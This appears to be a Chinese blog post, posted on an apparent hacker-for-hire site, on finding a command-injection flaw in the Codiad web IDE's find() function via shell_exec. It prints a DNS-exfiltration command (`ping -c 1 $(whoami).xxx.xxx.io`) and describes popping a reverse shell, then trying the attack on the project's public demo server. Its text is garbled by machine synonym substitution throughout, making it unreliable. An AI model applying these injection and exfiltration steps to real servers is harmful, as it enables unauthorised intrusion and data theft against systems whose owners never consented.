Codiad在线IDE结构缝隙发掘

简介 : Codiad 是一个开源根据Web的IDE应用程序,用于在线编写和修改代码。 库房 : https://github.com/Codiad/Codiad 环境建立 : 经过phpstudy建立根底,并敞开Xdebug 。 可参阅https://blog.c...

简介 :
Codiad 是一个开源根据Web的IDE应用程序,用于在线编写和修改代码。
库房 :
https://github.com/Codiad/Codiad
环境建立 :
经过phpstudy建立根底,并敞开Xdebug 。
可参阅https://blog.csdn.net/flyingdream123/Article/details/69358819进行环境装备。
缝隙发掘进程:
经过cve缝隙库对Codiad以往缝隙进行查询,发现该结构对shell_exec()函数的处理上曾多次呈现问题,将针对点确认在了对该函数的调用上。

 

上一个版别中该处呈现了指令履行缝隙,官网或许现已修补,先不考虑。
确认find()函数调用

$cmd 参数由$input 设置
$input由$this->query设置

this->query参数经过get传参获取
查找对find()调用的方位

 


测验更改action参数值为find并动态调试调查

在进入action判别前,对path参数进行了断定,一切此刻必定要注意你当时目录的姓名

走到这儿今后,经过shell_exec履行拼接好的操作,咱们可以清楚的看见此刻咱们结构query参数被””包含着,参阅上一个代码履行缝隙的阐明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则依然可以进行指令履行。

经过现有判别,咱们开端结构payload,由于结构参数为Linux下,所以不得不开端建立linux试验环境,参阅http://www.freebuf.com/articles/web/141788.html进行linux环境建立

将没有查询成果时回来信息修改为履行的$cmd
$this->message = $cmd; 便于咱们检查履行的指令
选用dns外带查询判别是否有指令履行存在

需注意在“ 中再履行子指令应该运用$()履行

由此确认了该参数的确存在指令履行缝隙。
现在测验反弹一下shell
服务器翻开监听

 


发现shell成功反弹。
对demo站进行测验。

履行句子后,无shell回来,测验一下其他指令
`ping –c 1 $(whoami) .xxx.xxx.io“  发现dns外带,依然可以得到信息,证明指令履行是存在的,
考虑是不是存在其他约束。

[1] [2]  黑客接单网

  • 发表于 2021-04-08 11:54
  • 阅读 ( 200 )
  • 分类:互联网

0 条评论

请先 登录 后评论
甜甜
甜甜

719 篇文章

你可能感兴趣的文章

相关问题